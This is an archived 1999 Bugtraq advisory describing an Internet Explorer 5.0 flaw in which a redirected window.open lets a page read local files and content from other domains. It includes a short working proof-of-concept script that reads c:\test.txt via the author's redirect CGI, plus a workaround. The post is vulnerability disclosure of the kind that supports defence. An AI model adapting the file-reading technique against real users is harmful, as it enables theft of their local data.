Bugtraq mailing list archives
IE 5.0 vulnerabilities using HTTP redirection
From: joro () NAT BG (Georgi Guninski)
Date: Thu, 4 Nov 1999 15:49:04 +0200
Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Internet Explorer 5.0 under Windows 95 and NT 4.0 (suppose Win98 is vulnerable) allows reading local text and HTML files and files from any domain (probably reading files of other types of files is possible). Window spoofing is possible. It is also possible in some cases to read files behind fiewall. This vulnerability may be exploited using HTML email message or a newsgroup posting. Details: The problem is something like a race condition immediately after window.open("HTTP-redirecting-URL"). If you do: a=window.open("HTTP-redirecting-url"); b=a.document; then you have access to the redirected URL's document using "b". The code is: ---------------------------------------------------------------------------------------- <SCRIPT> alert("Create short text file c:\\test.txt and it will be read and shown in a message box"); a=window.open("http://www.nat.bg/~joro/reject.cgi?test.txt"); b=a.document; setTimeout("alert(b.body.innerText);",4000); </SCRIPT> // "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP redirect to: "file://c:/test.txt" ---------------------------------------------------------------------------------------- Workaround: Disable Active Scripting Demonstration is available at http://www.nat.bg/~joro/msredir1.html Credit: I would like to give credit to Shane Hird from Australia for helping me discover this vulnerability. Copyright 1999 Georgi Guninski Regards, Georgi Guninski http://www.nat.bg/~joro
Current thread:
- Re: [Re: Amanda multiple vendor local root compromises] Brock Tellier (Nov 01)
- Re: [Re: Amanda multiple vendor local root compromises] Peter Walker (Nov 01)
- Re: [Re: Amanda multiple vendor local root compromises] Robert Watson (Nov 02)
- [debian] New version of nis released Aleph One (Nov 02)
- RFP9907: You, your servers, RDS, and thousands of script kiddies .rain.forest.puppy. (Nov 03)
- UnixWare 7's dtappgather Elias Levy (Nov 03)
- NeoPlanet Saves all emails in Plain text James J. Capone (Nov 03)
- hylafax-4.0.2 local exploit Tellier, Brock (Nov 03)
- IE 5.0 vulnerabilities using HTTP redirection Georgi Guninski (Nov 04)
- <Possible follow-ups>
- Re: [Re: Amanda multiple vendor local root compromises] Alexandre Oliva (Nov 02)
- Re: [Re: Amanda multiple vendor local root compromises] Bruce A. Mah (Nov 02)
- Re: [Re: Amanda multiple vendor local root compromises] Frank Crawford (Nov 03)
- Re: [Re: Amanda multiple vendor local root compromises] Alexandre Oliva (Nov 03)
- Re: [Re: Amanda multiple vendor local root compromises] Peter Walker (Nov 01)